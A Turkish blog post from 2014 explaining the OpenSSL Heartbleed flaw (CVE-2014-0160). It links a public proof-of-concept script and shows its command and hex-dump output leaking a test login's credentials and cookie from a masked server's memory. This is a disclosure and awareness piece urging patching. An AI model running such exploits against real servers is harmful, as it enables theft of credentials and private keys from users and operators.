25 Nisan 2014 Cuma

OpenSSL HeartBleed Zafiyeti

7 Nisan 2014 tarihinde OpenSSL in resmi internet sayfasından da onaylanan (CVE-2014-0160) çok kritik bir zafiyet bulundu.

Zafiyet açıklamasına göre, OpenSSL kütüphanesi üzerindeki HeartBeat Prosedüründe yapılması unutulmuş bir sınır/boyut kontrolünden kaynaklanmaktadır. Bu kontrol eksikliği ile sunucu veya istemci üzerinde o anki 64k lık bellek alanına yetkisiz erişim yapılabilmektedir. Kodlama hatasından kaynaklanan bu zafiyet ile OpenSSL kütüphanesi kullanan servislerde saklanan/korunan bilginin ifşası mümkün olmaktadır. Bu bilgiler arasında kullanıcı adı ve parolaları, email adresleri gibi önemli kişisel bilgilerin yanında OpenSSL'in getirdiği güvenlik katmanında kullanılan sunucuya ait private keylerin de olması zafiyeti çok kritik hale getirmektedir.


OpenSSL'i nerede kullandığımıza gelince; internet üzerinde koşan ve milyonlarca insanın kullandığı Google, Twitter, Facebook gibi devlerin de içinde yeraldığı bir çok servis (web, email, instant messaging (IM), VPN, DNS vb.) iletişim güvenliği için OpenSSL kütüphanesi kullanmaktadır ve bu zafiyetten etkilenmişlerdir.



OpenSSL'in zafiyete ilişkin yaptığı açıklama:


Kritik bir zafiyet olması sebebi ile OpenSSL kullanan bütün servislerin test edilmesi ve gerekli güncellemelerin yapılması gerekmektedir.

Jared Stafford tarafından python ile hazırlanmış proof-of-concept kodu github üzerinde https://gist.githubusercontent.com/takeshixx/10107280/raw/8052d8479ad0c6150464748d639b0f5e877e8c37/hb-test.py adresinde mevcuttur.

Bu script yardımı ile zafiyet olup olmadığı görüntülenebilir. Örnek olarak kimlik bilgisi girişi yaptığımız bir sayfayı test edecek olursak, https olarak açtığımız sayfaya giriş bilgilerimizi yazalım.


Daha sonra giriş işlemi sırasında, bir terminal ekranında sunucuya yönelik olarak POC scriptini çalıştıralım.

[nsyilmaz@servailor ~]$ python sslTest.py XXX.YYY.ZZZ.TTT -p 8443
Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 58
... received message: type = 22, ver = 0302, length = 961
... received message: type = 22, ver = 0302, length = 525
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C [email protected][...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 4F 72 69 67 ....#.......Orig
00e0: 69 6E 3A 20 68 74 74 70 73 3A 2F 2F -- -- -- 2E in: https://XXX.
00f0: -- -- -- 2E -- -- -- 2E -- -- -- 3A 38 34 34 33 YYY.ZZZ.TTT:8443
0100: 0D 0A 55 73 65 72 2D 41 67 65 6E 74 3A 20 4D 6F ..User-Agent: Mo
0110: 7A 69 6C 6C 61 2F 35 2E 30 20 28 4D 61 63 69 6E zilla/5.0 (Macin
0120: 74 6F 73 68 3B 20 49 6E 74 65 6C 20 4D 61 63 20 tosh; Intel Mac
0130: 4F 53 20 58 20 31 30 5F 37 5F 35 29 20 41 70 70 OS X 10_7_5) App
0140: 6C 65 57 65 62 4B 69 74 2F 35 33 37 2E 33 36 20 leWebKit/537.36
0150: 28 4B 48 54 4D 4C 2C 20 6C 69 6B 65 20 47 65 63 (KHTML, like Gec
0160: 6B 6F 29 20 43 68 72 6F 6D 65 2F 33 34 2E 30 2E ko) Chrome/34.0.
0170: 31 38 34 37 2E 31 31 36 20 53 61 66 61 72 69 2F 1847.116 Safari/
0180: 35 33 37 2E 33 36 0D 0A 43 6F 6E 74 65 6E 74 2D 537.36..Content-
0190: 54 79 70 65 3A 20 61 70 70 6C 69 63 61 74 69 6F Type: applicatio
01a0: 6E 2F 78 2D 77 77 77 2D 66 6F 72 6D 2D 75 72 6C n/x-www-form-url
01b0: 65 6E 63 6F 64 65 64 0D 0A 52 65 66 65 72 65 72 encoded..Referer
01c0: 3A 20 68 74 74 70 73 3A 2F 2F -- -- -- 2E 31 33 : https://XXX.YY
01d0: -- 2E -- -- -- 2E -- -- -- 3A 38 34 34 33 2F 6C Y.ZZZ.TTT:8443/l
01e0: 6F 67 69 6E 5F 75 70 2E 70 68 70 33 0D 0A 41 63 ogin_up.php3..Ac
01f0: 63 65 70 74 2D 45 6E 63 6F 64 69 6E 67 3A 20 67 cept-Encoding: g
0200: 7A 69 70 2C 64 65 66 6C 61 74 65 2C 73 64 63 68 zip,deflate,sdch
0210: 0D 0A 41 63 63 65 70 74 2D 4C 61 6E 67 75 61 67 ..Accept-Languag
0220: 65 3A 20 65 6E 2D 55 53 2C 65 6E 3B 71 3D 30 2E e: en-US,en;q=0.
0230: 38 2C 74 72 3B 71 3D 30 2E 36 0D 0A 43 6F 6F 6B 8,tr;q=0.6..Cook
0240: 69 65 3A 20 70 73 61 43 6F 6E 74 65 78 74 3D 64 ie: psaContext=d
0250: 61 73 68 62 6F 61 72 64 0D 0A 0D 0A 6C 6F 67 69 ashboard....logi
0260: 6E 5F 6E 61 6D 65 3D 74 65 73 74 2D 75 6E 61 6D n_name=test-unam
0270: 65 26 70 61 73 73 77 64 3D 74 65 73 74 2D 70 77 e&passwd=test-pw
0280: 64 26 6C 6F 63 61 6C 65 5F 69 64 3D 64 65 66 61 d&locale_id=defa
0290: 75 6C 74 26 73 65 6E 64 3D A2 B3 27 08 2C 3A EB ult&send=..'.,:.
02a0: 25 EA FE 37 D5 D2 06 27 51 FF D2 C7 0F BB 71 34 %..7...'Q.....q4
02b0: 64 22 2C 22 63 6C 61 73 73 22 3A 22 68 65 61 6C d","class":"heal
02c0: 74 68 5F 70 61 72 61 6D 65 74 65 72 22 7D 5D 2C th_parameter"}],
02d0: 22 73 65 72 76 65 72 5F 74 61 67 22 3A 31 7D 5D "server_tag":1}]
02e0: 7D 2C 22 73 65 72 76 65 72 22 3A 7B 22 67 65 74 },"server":{"get
02f0: 5F 69 6E 66 6F 22 3A 5B 7B 7D 5D 2C 22 67 65 74 _info":[{}],"get
0300: 5F 73 74 61 74 22 3A 5B 7B 7D 5D 7D 7D A4 43 2C _stat":[{}]}}.C,
0310: 1B F8 59 7B F5 46 CF 4D 66 88 58 76 BC 86 20 26 ..Y{.F.Mf.Xv.. &
0320: 4D 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E 0E M...............
0330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0350: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0360: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

Örnekten de anlaşılacağı gibi zafiyet mevcut ise, https olarak açtığımız sayfaya girdiğimiz kimlik bilgileri uzaktan çalıştırdığımız script yardımı ile sunucu belleğinden alınabilmektedir.

Zafiyetten etkilenmemek için OpenSSL mutlaka güncellenmelidir.